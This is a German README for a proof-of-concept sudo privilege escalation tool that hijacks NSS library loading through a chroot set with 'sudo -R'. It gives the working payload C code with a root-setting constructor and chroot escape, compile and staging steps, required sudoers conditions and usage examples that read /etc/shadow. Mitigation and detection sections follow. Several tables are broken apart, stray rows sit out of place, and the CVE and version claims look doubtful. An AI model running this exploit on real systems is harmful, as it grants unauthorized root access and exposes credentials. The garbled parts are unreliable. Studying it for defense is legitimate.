
Proof-of-Concept-Exploit für CVE-2023-42456, der eine Privilegienausweitung durch Hijacking der sudo NSS-Bibliothek mittels chroot-Injection demonstriert. Enthält automatisierte Versionserkennung, Payload-Generierung und chroot-Escape für autorisierte Sicherheitstests.
Autor: 0xb0rn3 | 0xbv1
Typ: Proof of Concept (PoC) Sicherheitsforschungswerkzeug
CVE: CVE-2023-42456
Technik: sudo -R chroot NSS-Bibliotheksinjektion → Privilegieneskalation zu root
Dieses Tool ist nur für autorisierte Penetrationstests und bildungsbezogene Sicherheitsforschung entwickelt. Führen Sie es ausschließlich auf Systemen aus, die Ihnen gehören oder für die Sie ausdrückliche schriftliche Erlaubnis zum Testen haben. Die Autoren übernehmen keine Verantwortung für Missbrauch. Nicht autorisierte Nutzung ist illegal.
Xpl0it ist ein Proof-of-Concept, das einen Vertrauensmodellfehler ausnutzt, wie sudo das dynamische Laden von NSS-Bibliotheken (Name Service Switch) bei Verwendung des -R-Flags (chroot) handhabt. Bei anfälligen sudo-Versionen kann ein Angreifer, der das chroot-Verzeichnis kontrolliert, die darin enthaltene nsswitch.conf manipulieren, um sudo zu zwingen, eine schädliche gemeinsam genutzte Bibliothek zu laden, während es noch erhöhte Privilegien besitzt – bevor ein Berechtigungsentzug stattfindet.
Bei erfolgreicher Ausführung erhalten Sie eine Root-Shell oder führen einen beliebigen Befehl mit uid=0 gid=0 aus.
Dieses Tool richtet sich ausschließlich gegen CVE-2023-42456. Die Schwachstelle existiert in zwei Release-Zweigen, jeder mit einem separaten Fix-Commit:
Wichtig: sudo 1.9.17 und später sind nicht anfällig. Frühere Tools und Artikel haben den Bereich fälschlicherweise als "1.9.14–1.9.17" angegeben. Dieses Tool führt eine versionsgenaue Erkennung pro Zweig durch, um Fehlalarme zu vermeiden.
Die folgenden CVEs sind nicht über diese Technik ausnutzbar und werden absichtlich ausgeschlossen, um Fehlalarme zu vermeiden:
| CVE | Technik | Warum ausgeschlossen |
|---|---|---|
| CVE-2021-3156 (Baron Samedit) | Heap-basierter Pufferüberlauf | Vollständig anderer Angriffsvektor |
| CVE-2021-23239 | sudoedit Race Condition | Andere Technik |
| CVE-2021-23240 |
sudo -R erfordert eine explizite ChrootDir=-Direktive im sudoers-Eintrag des Zielbenutzers. NOPASSWD allein gewährt keine -R-Berechtigung.
Ohne ChrootDir lehnt sudo das -R-Flag vollständig ab:
sudo: you are not permitted to use the -R option with bridge
Ein sudoers-Eintrag, der diesen Exploit erlaubt, muss wie folgt aussehen:
# Uneingeschränkter Chroot-Pfad (ideale Angriffsbedingung)
targetuser ALL=(root) ChrootDir=* NOPASSWD: ALL
# Pfadeingeschränkter Chroot (Tool passt Staging-Verzeichnis automatisch an)
targetuser ALL=(root) ChrootDir=/var/jail/* NOPASSWD: /bin/bash
# Spezifischer Pfad (Tool erstellt Staging im erlaubten Pfad)
targetuser ALL=(root) ChrootDir=/tmp/* NOPASSWD: ALL
Xpl0it parst sudo -l auf ChrootDir, bevor Staging-Arbeiten durchgeführt werden, und bricht frühzeitig mit einer klaren Erklärung ab, wenn die Berechtigung fehlt.
sudo -R bridge bridge
│
├─ sudo ruft chroot("./bridge") auf ← Angreifer kontrolliert dieses Verzeichnis
│
├─ sudo muss Informationen des aufrufenden Benutzers auflösen
│ └─ lädt /etc/nsswitch.conf aus dem Chroot
│ └─ "passwd: files bridge90"
│ └─ dynamischer Linker lädt libnss_bridge90.so.2
│ └─ __attribute__((constructor)) wird ausgelöst
│ └─ setreuid(0,0) + setregid(0,0)
│ └─ Chroot-Ausbruch → Payload ausführen
│
└─ Root-Shell gestartet
Schritt 1 — Aufklärung
Sammelt Informationen zu Betriebssystem, Kernel-Version, Architektur, aktuellem Benutzerkontext und allen gültigen Bibliothekssuchpfaden. Erkennt AppArmor/SELinux-Durchsetzung und den Status von NoNewPrivs – all dies kann den Exploit stillschweigend blockieren, falls aktiv.
Schritt 2 — Versions-Fingerprint
Parst sudo --version und prüft den zwei-Zweig-betroffenen Bereich für CVE-2023-42456 mit Patch-Level-Genauigkeit. Bricht mit einer Erklärung ab, wenn die Version gepatcht oder außerhalb des Bereichs liegt.
Schritt 3 — ChrootDir-Berechtigungsprüfung
Parst sudo -l auf ChrootDir=-Direktiven. Fehlt diese, bricht es sofort ab. Ist sie auf einen bestimmten Pfad eingeschränkt, wird automatisch dieser Pfad für das Staging verwendet, damit sudo den -R-Aufruf akzeptiert.
Schritt 4 — Pre-Exploit-Test
Erstellt einen wegwerfbaren minimalen Chroot und führt einen harmlosen sudo -R-Aufruf aus, bevor echte Staging-Arbeiten stattfinden. Bestätigt, dass sudo die NSS-Auflösung erreicht, und fängt frühzeitige Ablehnungen "not permitted" ab.
Schritt 5 — Payload-Generierung
Schreibt bridge90.c – eine C-Shared-Library mit einer __attribute__((constructor))-Funktion (_nss_bridge90_init), die ausgelöst wird, sobald der dynamische Linker sie lädt:
__attribute__((constructor))
static void _nss_bridge90_init(void) {
setreuid(0, 0); setregid(0, 0);
setuid(0); setgid(0);
// Chroot-Ausbruch: mkdir Unterverzeichnis → chroot tiefer →
// 40x"../" traversieren → chroot auf echtes / zurücksetzen
mkdir("._esc", 0700);
if (chroot("._esc") == 0) {
// ... 40x "../" chdir ...
chroot(".");
}
chdir("/");
execl("/bin/bash", "bash", "-c", CMD, NULL);
execl("/bin/sh", "sh", "-c", CMD, NULL);
_exit(1);
}
Schritt 6 — Umgebungseinrichtung
Erstellt einen überzeugenden Chroot im Staging-Verzeichnis:
bridge/etc/nsswitch.conf – manipuliert, um den bridge90-NSS-Dienst zu ladenbridge/<lib_path>/libnss_bridge90.so.2 – der Payload, in allen erkannten Bibliothekspfaden bereitgestellt (Multilib-Abdeckung)bridge/bin/bridge – Stub-Programm, das sudo finden muss, um vor Pre-Exec-Prüfungen fortzufahrenbridge/bin/sh, bridge/bin/bash – Shells mit korrektem ELF-Interpreter (erkannt via readelf -l)bridge/etc/ld.so.conf – deckt alle Bibliothekspfade ab, sodass ldconfig -r einen gültigen Cache erstelltSchritt 7 — Kompilierung
gcc -shared -fPIC -nostartfiles -Wl,-soname,libnss_bridge90.so.2 -o libnss_bridge90.so.2 bridge90.c
-nostartfiles – kein Standard-Startcode; der Konstruktor übernimmt alles-Wl,-soname – korrektes SONAME für die NSS-Namensauflösung-Wl,-init – __attribute__((constructor)) ist ausreichend; das Hinzufügen von -Wl,-init führt zu einem Doppelaufruf und ist ein FehlerNach der Kompilierung wird mit nm -D überprüft, ob das Konstruktor-Symbol in der dynamischen Exporttabelle vorhanden ist.
Schritt 8 — Ausführung
Führt sudo -R bridge bridge aus dem Staging-Verzeichnis aus. NSS löst bridge90 auf → lädt unsere Bibliothek → Konstruktor wird mit erhöhten Privilegien ausgelöst → Chroot-Ausbruch wird ausgeführt → Root-Shell.
Die -R-Implementierung von sudo vertraut den Inhalten des Chroot-Verzeichnisses, das es betritt. Bevor dies behoben wurde, überprüfte sudo nicht, ob die Chroot-Umgebung manipuliert worden war. Da der Benutzer, der den Chroot-Pfad bereitstellt, dessen Inhalt kontrolliert – einschließlich nsswitch.conf und der darin referenzierten NSS-Bibliotheken – kann er das Laden von Bibliotheken auf beliebigen Code umleiten, der ausgeführt wird, bevor sudo Privilegienentzüge vornimmt.
Sudo patchen
Aktualisieren Sie auf 1.9.15p2, 1.9.16p2 oder eine 1.9.17+-Version. Diese Versionen validieren Chroot-Umgebungen, bevor die NSS-Auflösung innerhalb dieser erlaubt wird.
# Version prüfen
sudo --version
# Debian/Ubuntu
apt-get update && apt-get install sudo
# Arch Linux
pacman -Syu sudo
# RHEL/Fedora
dnf update sudo
ChrootDir-Direktiven prüfen
Überprüfen Sie /etc/sudoers und alle Dateien in /etc/sudoers.d/. Entfernen Sie ChrootDir=-Einträge, sofern nicht ausdrücklich erforderlich. Schränken Sie Wildcards ein – bevorzugen Sie ChrootDir=/spezifischer/pfad gegenüber ChrootDir=*.
grep -r "ChrootDir" /etc/sudoers /etc/sudoers.d/ 2>/dev/null
Audit-Log-Signaturen
# auditd — sudo -R-Aufrufe erkennen (in legitimer Nutzung selten)
auditctl -a always,exit -F arch=b64 -S execve \
-F exe=/usr/bin/sudo -k sudo_chroot_attempt
# journald
journalctl | grep -i "sudo.*-R\|chroot"
Verdächtige Indikatoren
sudo -R-Aufrufe in Logs – legitime Produktionsnutzung ist extrem selten/tmp mit Namen, die sudobridge.* entsprechenlibnss_*.so.2-Dateien in /tmp oder benutzerbeschreibbaren Verzeichnissengcc-Aufrufe aus Benutzersitzungen, die keine Build-Systeme sindsetreuid/setregid-Syscalls von Prozessen, die nicht root gehören# Ausführbar machen
chmod +x Xpl0it
# In Root-Shell wechseln (Standard)
./Xpl0it
# Einen bestimmten Befehl als Root ausführen
./Xpl0it -c "id && cat /etc/shadow"
# Debug-Modus — ausführliche Ausgabe, Staging-Verzeichnis bleibt beim Beenden erhalten
./Xpl0it -d
# Vor Fortsetzung bei Versionskonflikt nachfragen
./Xpl0it -v
# Flags kombinieren
./Xpl0it -v -d -c "/bin/bash"
Der sudoers-Eintrag des Zielbenutzers muss ebenfalls ChrootDir= enthalten – das Tool prüft dies automatisch und bricht bei Fehlen schnell mit einer Erklärung ab.
Wenn der Exploit fehlschlägt, führen Sie ihn mit -d aus, um das Staging-Verzeichnis zu erhalten, und überprüfen Sie Folgendes:
Häufige Fehlerursachen:
man nsswitch.conf, man 5 nssman ld.so, man ldconfigchroot(2) ManpageBeiträge, die die Genauigkeit, Portabilität oder Erkennungsabdeckung verbessern, sind willkommen. Bitte stellen Sie sicher, dass Ergänzungen mit den Prinzipien der verantwortungsvollen Offenlegung und autorisierten Testfällen im Einklang stehen.
Xpl0it dient nur der autorisierten Sicherheitsforschung. Holen Sie immer eine ausdrückliche schriftliche Genehmigung ein, bevor Sie Tests auf Systemen durchführen, die Ihnen nicht gehören.
| Zweig | Anfällig | Behoben in |
|---|
| 1.9.14.x | alle (1.9.14 – 1.9.14p2) | N/A (gesamter Zweig betroffen) |
| 1.9.15.x | 1.9.15 – 1.9.15p1 | 1.9.15p2 |
| 1.9.16.x | 1.9.16 – 1.9.16p1 | 1.9.16p2 |
| 1.9.17+ | nicht betroffen | Fix wurde vor dem Zweig upstream gemerged |
| SELinux-Rollen-Symlink-Umgehung |
| Andere Technik |
| Schicht | Aktion |
|---|
| Patch | sudo ≥ 1.9.15p2 / 1.9.16p2 / 1.9.17+ |
| Sudoers | Entfernen Sie ChrootDir=*; verwenden Sie nur spezifische Pfade |
| MAC | AppArmor/SELinux-Profile, die nicht vertrauenswürdiges dlopen() blockieren |
| Dateisystem | Mounten Sie /tmp und Benutzerverzeichnisse mit noexec,nosuid |
| IMDSv2 | Bei Cloud-Instanzen token-basierten Metadatenzugriff erzwingen |
| Überwachung | auditd-Benachrichtigungen bei sudo -R-Aufrufen |
| NoNewPrivs | PR_SET_NO_NEW_PRIVS verhindert, dass setreuid() funktioniert |
| Flagge | Beschreibung |
|---|
-c, --command <cmd> | Auszuführender Befehl nach Eskalation (Standard: /bin/bash) |
-d, --debug | Ausführliche Debug-Ausgabe; Staging-Verzeichnis bleibt beim Beenden erhalten |
-v, --verbose | Vor Fortsetzung nachfragen, wenn die Version außerhalb des betroffenen Bereichs liegt |
-h, --help | Hilfe anzeigen |
--version | Version anzeigen |
| Abhängigkeit | Erforderlich | Zweck |
|---|
gcc | Ja | NSS-Shared-Library auf dem Ziel kompilieren |
sudo | Ja | Zielprogramm |
ldconfig | Ja | ld.so.cache im Chroot erstellen |
readelf | Ja | ELF-Interpreter-Pfad erkennen |
grep, awk, sed, find | Ja | Standard-Werkzeuge |
strace, ltrace, gdb | Optional | Erweiterte Fehlersuche |
nm | Optional | Konstruktor-Symbol-Verifizierung |
| Prüfung | Pfad | Wonach suchen |
|---|
| Kompilierungslog | $STAGE/logs/compile.log | gcc-Fehler |
| ldconfig-Log | $STAGE/logs/ldconfig.log | Cache-Erstellungsfehler |
| nsswitch.conf | $STAGE/bridge/etc/nsswitch.conf | passwd: files bridge90 |
| Bibliothek | $STAGE/bridge/<lib_path>/libnss_bridge90.so.2 | muss existieren |
| Sudoers | sudo -l | muss ChrootDir= anzeigen |
| Fehler | Ursache |
|---|
not permitted to use the -R option | ChrootDir= fehlt in Sudoers |
| Exit-Code 1, kein NSS-Fehler | sudo-Version ist gepatcht |
| Bibliothek wird stillschweigend nicht geladen | AppArmor/SELinux blockiert dlopen() |
setreuid wird ignoriert | NoNewPrivs=1 im Prozess |
| Bibliothek nicht gefunden | ldconfig -r fehlgeschlagen und Symlink-Fallback unzureichend |